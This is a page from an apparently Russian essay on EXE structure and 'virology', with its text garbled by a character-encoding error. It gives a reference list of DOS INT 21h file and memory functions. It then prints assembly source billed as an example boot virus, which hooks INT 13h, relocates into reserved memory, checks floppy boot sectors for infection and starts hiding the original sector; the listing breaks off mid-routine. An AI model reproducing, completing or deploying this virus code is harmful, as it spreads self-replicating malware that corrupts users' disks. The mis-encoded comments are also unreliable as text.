Ðåôåðàò: Ñåìàíòè÷åñêèé àíàëèç ñòðóêòóðû EXE ôàéëà è äèñàññåìáëåð (ñ ïðèìåðàìè è èñõîäíèêàìè), âèðóñîëîãèÿ
âûõîä:
íåò
Ïîëó÷èòü àäðåñ DTA.
~~~~~~~~~~~~~~~~~~~
âõîä:
ah = 2Fh
âûõîä:
es:bx = òåêóùèé àäðåñ
Create - Ñîçäàòü ôàéë.
~~~~~~~~~~~~~~~~~~~~~
âõîä:
ah = 3Ch
cx = àòðèáóòû ôàéëà (òàá 1)
ds:dx = ïóòü è èìÿ ôàéëà â ôîðìàòå asciz
âûõîä:
if CF=0 then
ax = äåñêðèïòîð ôàéëà
else
ax = êîä îøèáêè (3,4,5) (òàá 2)
Open - Îòêðûòü ñóùåñòâóþùèé ôàéë
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
âõîä:
ah = 3Dh
al = ðåæèì äîñòóïà (òàá 2)
cx = àòðèáóòû
ds:dx = èìÿ
âûõîä:
if CF=0 then
ax = äåñêðèïòîð ôàéëà
else
ax = êîä îøèáêè (1,2,3,4,5,0C)
Close - Çàêðûòü ôàéë
~~~~~~~~~~~~~~~~~~~~
âõîä:
ah = 3Eh
bx = äåñêðèïòîð
ds:dx = èìÿ
âûõîä:
if CF=0 then
ax =
else
ax = êîä îøèáêè (6)
Read - ×òåíèå èç ôàéëà
~~~~~~~~~~~~~~~~~~~~~~
âõîä:
ah = 3Fh
bx = äåñêðèïòîð
cx = ÷èñëî áàéò
ds:dx = áóôåð äëÿ ÷òåíèÿ
âûõîä:
if CF=0 then
ax = ÷èñëî ïðî÷èòàííûõ áàéò
Ýòî çíà÷åíèå ìîæåò áûòü ìåíüøå CX.
Íàïðèìåð ïîòîìó, ÷òî ïðåâûñèëè äëèíó ôàéëà.
else
ax = êîä îøèáêè (5,6)
Write - Çàïèñàòü â ôàéë
~~~~~~~~~~~~~~~~~~~~~~~
âõîä:
ah = 40h
bx = äåñêðèïòîð
cx = ÷èñëî áàéò
ds:dx = äàííûå äëÿ çàïèñè
âûõîä:
if CF=0 then
ax = ÷èñëî çàïèñàííûõ áàéò
else
ax = êîä îøèáêè (5,6)
Unlink - Óäàëèòü ôàéë
~~~~~~~~~~~~~~~~~~~~~
âõîä:
ah = 41h
cx = àòðèáóòû
ds:dx = èìÿ
âûõîä:
if CF=0 then
ax =
else
ax = êîä îøèáêè (2,3,5)
LSeek - Óñòàíîâèòü óêàçàòåëü â ôàéëå
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
âõîä:
ah = 42h
al = òî÷êà îòñ÷åòà óêàçàòåëÿ:
0 - îò íà÷àëà ôàéëà
1 - îò òåêóùåãî ïîëîæåíèÿ
2 - îò êîíöà
bx = äåñêðèïòîð
cx:dx = ñìåùåíèå (cx=ñòàðøèå 16 áèò, dx=ìëàäøèå)
âûõîä:
if CF=0 then
dx:ax = íîâîå ïîëîæåíèå óêàçàòåëÿ îòíîñèòåëüíî íà÷àëà
else
ax = êîä îøèáêè (1,6)
Ïîëó÷èòü àòðèáóòû ôàéëà
~~~~~~~~~~~~~~~~~~~~~~~
âõîä:
ax = 4300h
ds:dx = èìÿ
âûõîä:
if CF=0 then
cx = àòðèáóòû
else
ax = êîä îøèáêè (1,2,3,5)
Chmod - Óñòàíîâèòü àòðèáóòû ôàéëà
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
âõîä:
ax = 4301h
cx = íîâûå àòðèáóòû
ds:dx = èìÿ
âûõîä:
if CF=0 then
ax =
else
ax = êîä îøèáêè (1,2,3,5)
Âûäåëèòü áëîê ïàìÿòè
~~~~~~~~~~~~~~~~~~~~
âõîä:
ah = 48h
bx = ðàçìåð áëîêà â ïàðàãðàôàõ
âûõîä:
if CF=0 then
ax = ñåãìåíò áëîêà
else
ax = êîä îøèáêè (7,8)
bx = ðàçìåð íàèáîëüøåãî äîñòóïíîãî áëîêà
Îñâîáîäèòü ïàìÿòü
~~~~~~~~~~~~~~~~~
âõîä:
ah = 49h
es = ñåãìåíò áëîêà
âûõîä:
if CF=0 then
ax =
else
ax = êîä îøèáêè (7,9)
Èçìåíèòü ðàçìåð áëîêà ïàìÿòè
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
âõîä:
ah = 4Ah
bx = íîâûé ðàçìåð
es = ñåãìåíò
âûõîä:
if CF=0 then
ax =
else
ax = êîä îøèáêè (7,8,9)
bx = ðàçìåð íàèáîëüøåãî äîñòóïíîãî áëîêà
Exec - çàãðóçèòü èëè âûïîëíèòü ïðîãðàììó.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
âõîä:
ah = 4Bh
al = òèï çàãðóçêè:
0 - çàãðóçèòü è âûïîëíèòü
1 - çàãðóçèòü è íå âûïîëíÿòü
3 - çàãðóçèòü îâåðëåé
4 - çàãðóçèòü è âûïîëíèòü â ôîíîâîì ðåæèìå (dos 4.0)
es:bx = áëîê ïàðàìåòðîâ (òàá 3)
ds:dx = èìÿ ïðîãðàììû
âûõîä:
if CF=0 then
bx,dx ðàçðóøåíû
else
ax = êîä îøèáêè (1,2,5,8,0A,0B)
Ïðèìåð ýëåìåíòàðíîãî BOOT-âèðóñà:
.286
.model tiny
.code
org 00h
start: jmp install
;jmp fkñ
table: ; À âîò òóò áóäåò òàáëèöà äèñêà
org 4ch ; ìíîãî ìåñòà åé, íî...
fkñ: nop ;
xor di,di ; îáíóëèì èõ
mov ds,di ; DS=0
cli ;
mov ss,di ; SS=0
mov si,7c00h ; SI - àäðåñ â ïàìÿòè, òàì ìû
; íà÷èíàåìñÿ.
mov bx,si ; çàïîìíèì ýòî... åùå ïðèãîäèòñÿ
mov sp,si
sti
dec word ptr ds:[0413h] ; ñòîêà ïàìÿòè äîñ
mov ax,ds:[0413h] ; â ÀÕ ðàçìåð äîñ-ïàìÿòè â êèëîáàéòàõ
mov cl,06 ; ÷òîáû ïîëó÷èòü ñåãìåíò íàäî ÷èñëî
shl ax,cl ; êèëîáàéò óìíîæèòü íà 40h
; íåìíîãî àðèôìåòèêè - ñåãìåíò ñ÷èòàþò
; îò íà÷àëà ïàìÿòè â ïàðàãðàôàõ, ïàðà-
; ãðàô=10h áàéò, 40h ïàðàãðàôîâ=400h
; áàéò=1êÁò. äàëüøå âñå ÿñíî.
mov es,ax ; ES=àäðåñ íîâîãî ñåãìåíòà
push ax ; â ñòåê åãî - áóäåì äåëàòü ïåðåõîä
mov ax,offset inst_int ; íà ýòî âîò ñìåùåíèå
push ax ; è åãî â ñòåê òîæå
mov cx,200h ; íî ñïåðâà íàäî ïåðåíåñòè ñâîå òåëî
cld ; â ýòîò âîò ñåãìåíò
rep movsb ; ïåðåíîñèì
retf ; ïåðåõîä ÷åðåç ñòåê
inst_int: ; çäåñü ìû óæå â íîâîì ñåãìåíòå
mov ax,ds:[13h*4] ; INT 0E0h=INT 13h original
mov ds:[0e0h*4],ax ;
mov ax,ds:[13h*4+2] ;
mov ds:[0e0h*4+2],ax ;
mov word ptr ds:[13h*4],offset int13 ; INT 13h=íàø îáðàáîò÷èê
mov ds:[13h*4+2],cs ;
xor cx,cx
push cx ; ñíîâà ïîäãîòîâêà ê ïåðåõîäó
push bx ; ÷åðåç ñòåê â òî÷êó 0000:7C00h
mov es,cx
mov ax,0201h ; ÷èòàòü íîðìàëüíûé áóò-ñåêòîð
mov cx,cs:floppy_sect ; âîò îòñþäà åãî è ÷èòàòü
mov dh,cs:floppy_head ;
xor dl,dl ; ñ äèñêà À: åñòåñòâåííî
int 0e0h ; âûçîâ îðèãèíàëüíîãî INT 13h
run_boot:
retf ; çàïóñòèòü áóò.
;------ *** Hàø îáðàáîò÷èê INT 13h *** -------
int13: mov cs:shit,ax ; ñîõðàíèì ax
int 0e0h ; âûïîëíèì îïåðàöèþ
jnc int_continue ; åñëè áûëà îøèáêà óõîäèì
jmp int_exit
int_continue:
pushf ; ôëàãè çàïîìíèòü íàäî!
cmp byte ptr cs:[shit+1],2 ; reading sectors?
jnz g1
cmp cx,0001
jne g1
cmp dh,0 ; ÷èòàåì áóò
jne g1
cmp dl,01 ; íå ñ âèíòà íàäåþñü?
jna fkñ_boot
g1: jmp get_out
;------------- Îáðàáîò÷èê ÷òåíèÿ áóòà ñ äèñêåòû ---------------
fkñ_boot:
pusha
push ds es
push es
pop ds
lea di,fkñ ; ñðàâíèì òî ÷òî ó íàñ ïî ñìåùåíèþ fkñ
mov ax,cs:[di] ; ñ òåì ÷òî ìû ïðî÷èòàëè ïî òîìó æå ñìåùåíèþ
mov si,bx ; Òàê ìû ïðîâåðÿåì çàðàæåí ëè
add si,offset fkñ ; óæå íàìè áóò-ñåêòîð
cmp ax,[si] ;
jz exit_boot_work ; åñëè íåò òî óéäåì îòñþäà
cmp dl,1 ; íà âñÿêèé ïîæàðíûé :) Â ïðèíöèïå ìîæåòå
ja exit_boot_work ; ýòó ïðîâåðêó âûêèíóòü - îíà óæå áûëà
find_place: ; ïîèñê ìåñòà êóäà ïðÿòàòü ñòàðûé áóò-ñåêòîð
mov ax,[bx+16h] ; ax=÷èñëî ñåêòîðîâ â FAT
mul byte ptr [bx+10h] ; óìíîæèì åãî íà ÷èñëî FAT
add ax,[bx+0eh] ; ïðèáàâèì ÷èñëî ðåçåðâíûõ ñåêòîðîâ äëÿ FAT--
Ñòðàíèöû: 1, 2, 3, 4, 5, 6, 7, 8, 9, 10
